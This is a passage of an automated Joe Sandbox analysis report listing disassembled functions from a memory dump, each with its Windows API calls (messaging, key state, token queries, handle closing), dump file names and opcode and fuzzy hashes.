SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 01066CC7

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 542a870305ee342cd1523bd96198f2c0d9a108e796d3ecb78b231cfe0fcf1a9f
Instruction ID: 297945541406eb1d9b8c0c9336b291421e96551d07a8f683797847ac26b209f9
Opcode Fuzzy Hash: 542a870305ee342cd1523bd96198f2c0d9a108e796d3ecb78b231cfe0fcf1a9f
Instruction Fuzzy Hash: DE41A135A00508AFE7248F68CD54FB97FA9EB09360F040268F995A72A8C373AD41CA40

Function 01002051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 010020C3
_free.LIBCMT ref: 010020E3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1e45fc54524e069795e3ea98093056e57f1de15eef4a843bfb3176361f6e72c1
Instruction ID: 977769e55b4fcda74f8fb1f81418ef3334d7d610fd291760e32db43c311c15e4
Opcode Fuzzy Hash: 1e45fc54524e069795e3ea98093056e57f1de15eef4a843bfb3176361f6e72c1
Instruction Fuzzy Hash: CF41E636E003009FEB22DF78C984A9DB7F5EF89314F1545A9E655EB392D731A901CB80

Function 00FE912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00FE9141
ScreenToClient.USER32(00000000,?), ref: 00FE915E
GetAsyncKeyState.USER32(00000001), ref: 00FE9183
GetAsyncKeyState.USER32(00000002), ref: 00FE919D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: f819e60e82f22fbdcbd2487ce1b9c8e88c190bef9ef55e0b3ea1d30bbabaa4c3
Instruction ID: 4b09042db855353f80010a18128468604ddd131e02f661bdb6f4a66b662dcfb5
Opcode Fuzzy Hash: f819e60e82f22fbdcbd2487ce1b9c8e88c190bef9ef55e0b3ea1d30bbabaa4c3
Instruction Fuzzy Hash: 61416031A0861BFBDF199F69C844BEEB775FF15320F208219E469A32D0C7785990DBA1

Function 01043874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 010438CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 01043922
TranslateMessage.USER32(?), ref: 0104394B
DispatchMessageW.USER32(?), ref: 01043955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 01043966

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 888d7f74545d857c12481113f13d346a25e8c607f50d8dbe74baaf76bebdd4e6
Instruction ID: 50026ed6e76feb0e6ac4f3c98300041d68214ca2da7c2bbd459e4d264e4f1783
Opcode Fuzzy Hash: 888d7f74545d857c12481113f13d346a25e8c607f50d8dbe74baaf76bebdd4e6
Instruction Fuzzy Hash: F331E6B4504762AFFB75CA389488BB77BE8BB05300F4455BDD5E28A0D5E3799884CB11

Function 01031901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 01031915
PostMessageW.USER32(00000001,00000201,00000001), ref: 010319C1
Sleep.KERNEL32(00000000,?,?,?), ref: 010319C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 010319DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 010319E2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 2da094b66b7529d3e17f383ed92c0cce0dc507bdf288207b791bea9a38c75be1
Instruction ID: 586d8f63ccd00c18ea3e1ae239fba4669c8d736993972d404d8771e024513a34
Opcode Fuzzy Hash: 2da094b66b7529d3e17f383ed92c0cce0dc507bdf288207b791bea9a38c75be1
Instruction Fuzzy Hash: 4D31E871900219EFDB14CFACC948ADE3BB9EF49315F004266F9A1EB2D1C7709954CB90

Function 01065706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 01065745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0106579D
_wcslen.LIBCMT ref: 010657AF
_wcslen.LIBCMT ref: 010657BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 01065816

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 8b2e3cbb47457046c2e15deadf41e0fd7f4d8315f1410ccc6db3180d40a3f2a9
Instruction ID: 48940cf8ea3dd93b027f87c82e3451cbd862fd3c1d00b1a6aa55d4d42cf55d30
Opcode Fuzzy Hash: 8b2e3cbb47457046c2e15deadf41e0fd7f4d8315f1410ccc6db3180d40a3f2a9
Instruction Fuzzy Hash: 0D21BA71A042199AEB209FA4DC84AEE7BFCFF04764F008256FAA9EB1C4D7749585CF50

Function 01050930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 01050951
GetForegroundWindow.USER32 ref: 01050968
GetDC.USER32(00000000), ref: 010509A4
GetPixel.GDI32(00000000,?,00000003), ref: 010509B0
ReleaseDC.USER32(00000000,00000003), ref: 010509E8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 5b9bdb98241f737b3928272859d60acef390b240281799c3b8ec2b36932e469e
Instruction ID: dee5c30b4fea109f0f163cab72dab253f6c2b3da04daa90d83926fc73f31b42b
Opcode Fuzzy Hash: 5b9bdb98241f737b3928272859d60acef390b240281799c3b8ec2b36932e469e
Instruction Fuzzy Hash: 9D218E75600204AFE714EF69D984AAEBBF9FF48700F048069F88AD7365CB75AC44CB90

Function 0100CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0100CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0100CDE9

Part of subcall function 01003820: RtlAllocateHeap.NTDLL(00000000,?,010A1444,?,00FEFDF5,?,?,00FDA976,00000010,010A1440,00FD13FC,?,00FD13C6,?,00FD1129), ref: 01003852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0100CE0F
_free.LIBCMT ref: 0100CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0100CE31

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: fa0dad06d6fb9904e4bc58e47c1a74f5e3a26a060ceee5e15cb53d4545a048cf
Instruction ID: 9b26ea651d6ecffda6efffc896ed09603969240d2a2bfdbedee87329864dc7d0
Opcode Fuzzy Hash: fa0dad06d6fb9904e4bc58e47c1a74f5e3a26a060ceee5e15cb53d4545a048cf
Instruction Fuzzy Hash: 7601FC726022557F333325BA6D4CC7F7DADDEC7AA171502A9FE85C7180DE658D0182B0

Function 00FE9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00FE9693
SelectObject.GDI32(?,00000000), ref: 00FE96A2
BeginPath.GDI32(?), ref: 00FE96B9
SelectObject.GDI32(?,00000000), ref: 00FE96E2

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 6449a88d6aa7971d877341de57a42d19a0cdcce17b0e7616e51a42b6b7b3ce9a
Instruction ID: 3cb7aab17aac138e4febea51121248ff51262fbcc70ccf4de354d4f88e8d8d8e
Opcode Fuzzy Hash: 6449a88d6aa7971d877341de57a42d19a0cdcce17b0e7616e51a42b6b7b3ce9a
Instruction Fuzzy Hash: BF21D431816785EFEB318F25E9047A93BB8BB01365F500217F490A60E8D3BA5981DFA1

Function 01035711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 01035726
_memcmp.LIBVCRUNTIME ref: 01035744
_memcmp.LIBVCRUNTIME ref: 01035757
_memcmp.LIBVCRUNTIME ref: 0103576F
_memcmp.LIBVCRUNTIME ref: 01035787

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 700888df3ca88fd43caabe50e4194da40914e6160a2fa88767e2cb8247da6ae1
Instruction ID: 1f55727aa7a49a756ec05942646f03bbc37c01a22281b8f0c2b2969112db74fd
Opcode Fuzzy Hash: 700888df3ca88fd43caabe50e4194da40914e6160a2fa88767e2cb8247da6ae1
Instruction Fuzzy Hash: 5E01D86564520AFBE20A5515BE92FBF739DBFA13A4F414024FE449F212F764ED10D2E0

Function 01002DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00FFF2DE,01003863,010A1444,?,00FEFDF5,?,?,00FDA976,00000010,010A1440,00FD13FC,?,00FD13C6), ref: 01002DFD
_free.LIBCMT ref: 01002E32
_free.LIBCMT ref: 01002E59
SetLastError.KERNEL32(00000000,00FD1129), ref: 01002E66
SetLastError.KERNEL32(00000000,00FD1129), ref: 01002E6F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 821785e7971844f27dbfad37acb3d82535ff195f824ced18146e3cb141b3e86e
Instruction ID: d8c94fdba565fcfb894b054e932c0d5332863ed287822ff04d6ddb54aae6a3ee
Opcode Fuzzy Hash: 821785e7971844f27dbfad37acb3d82535ff195f824ced18146e3cb141b3e86e
Instruction Fuzzy Hash: 6F01F9765886416BF62376396D4CD6F159DABE13A1F650028F5D5921D5EA358C014220

Function 0103000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?,?,0103035E), ref: 0103002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?), ref: 01030046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?), ref: 01030054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?), ref: 01030064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0102FF41,80070057,?,?), ref: 01030070

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: fadc88627824b340f4cd6f00810d7f77de3d7c9ebf5147bc3855893b1392e7e1
Instruction ID: c8157c7d94ba7ade70b9beace782c4fdbaa64553fbeb554973a277b089bada1e
Opcode Fuzzy Hash: fadc88627824b340f4cd6f00810d7f77de3d7c9ebf5147bc3855893b1392e7e1
Instruction Fuzzy Hash: 0101A272601205BFEB205F68DD44BAABEEDEF84761F144124FAC5D2218D77ADD408BA0

Function 0103E97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 0103E997
QueryPerformanceFrequency.KERNEL32(?), ref: 0103E9A5
Sleep.KERNEL32(00000000), ref: 0103E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 0103E9B7
Sleep.KERNEL32 ref: 0103E9F3

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 2649a1971142726daa15472736e6375d2ff14d4090702d4144bb2f58131eeea9
Instruction ID: 17059d75b81a095d235168a53b8396d8c7537929e3559de0dff8bfb5df9fce9e
Opcode Fuzzy Hash: 2649a1971142726daa15472736e6375d2ff14d4090702d4144bb2f58131eeea9
Instruction Fuzzy Hash: 4E016931C01629DBDF50AFE4D948AEDBB7CFF49301F000656E9C2B2244CB399552CBA1

Function 010310F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 01031114
GetLastError.KERNEL32(?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 01031120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 0103112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,01030B9B,?,?,?), ref: 01031136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 0103114D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: d59fb4f22d3370e8b558bc8f9535d97276ec335f5c0a64a661fd5fedc2426ddd
Instruction ID: 278874d13ed5a6f6a079012510b1ca99c1e505e5da88586600f2ddd894d8a244
Opcode Fuzzy Hash: d59fb4f22d3370e8b558bc8f9535d97276ec335f5c0a64a661fd5fedc2426ddd
Instruction Fuzzy Hash: ED011D75200205BFEB214F69DD49AAA3FAEEFCA260B104455F9C5D7354DA36DD009B60

Function 01030FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 01030FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 01030FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 01030FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 01030FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 01031002

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: ad41875d348bba799d1805ece5dd293cc6c63057faeaa079ce7da1cd811b51ae
Instruction ID: 396d908ff5f4fc8ae7937ae9eb16e772be6cc4d84830bd91f7b0d4b7929d4d85
Opcode Fuzzy Hash: ad41875d348bba799d1805ece5dd293cc6c63057faeaa079ce7da1cd811b51ae
Instruction Fuzzy Hash: CDF04935200341BBEB214FA99D49F563BADEF8A662F104454FAC9DA251CA76D8108B60

Function 01031014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0103102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 01031036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 01031045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0103104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 01031062

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 1b9077efb2227d94faec400e19aa2d38db1c38fe1b0c5158f741234218a60f77
Instruction ID: 9e6b4fa086793339a1ba018988787ec70aeb03f84117966cf0471f93be304469
Opcode Fuzzy Hash: 1b9077efb2227d94faec400e19aa2d38db1c38fe1b0c5158f741234218a60f77
Instruction Fuzzy Hash: E0F06D35200341FBEB225FA9ED59F563FADEF8A661F100414FAC5DB250CA76D9108B60

Function 0104030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0104017D,?,010432FC,?,00000001,01012592,?), ref: 01040324
CloseHandle.KERNEL32(?,?,?,?,0104017D,?,010432FC,?,00000001,01012592,?), ref: 01040331
CloseHandle.KERNEL32(?,?,?,?,0104017D,?,010432FC,?,00000001,01012592,?), ref: 0104033E
CloseHandle.KERNEL32(?,?,?,?,0104017D,?,010432FC,?,00000001,01012592,?), ref: 0104034B
CloseHandle.KERNEL32(?,?,?,?,0104017D,?,010432FC,?,00000001,01012592,?), ref: 01040358
CloseHandle.KERNEL32(?,?,?,?,0104017D,?,010432FC,?,00000001,01012592,?), ref: 01040365

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 92a05e3d824efbee831f4b83a2dffa55ec32cc566087c35a8f4439b1a301a66a
Instruction ID: 056dc06c431a820420c97f204e677766cc4a433bfb92e0e2334386b5c1737e78
Opcode Fuzzy Hash: 92a05e3d824efbee831f4b83a2dffa55ec32cc566087c35a8f4439b1a301a66a
Instruction Fuzzy Hash: EC0190B2800B159FD7309F6AD8D0453FBF9BE502163158A7EE2D662931C371A954CF80

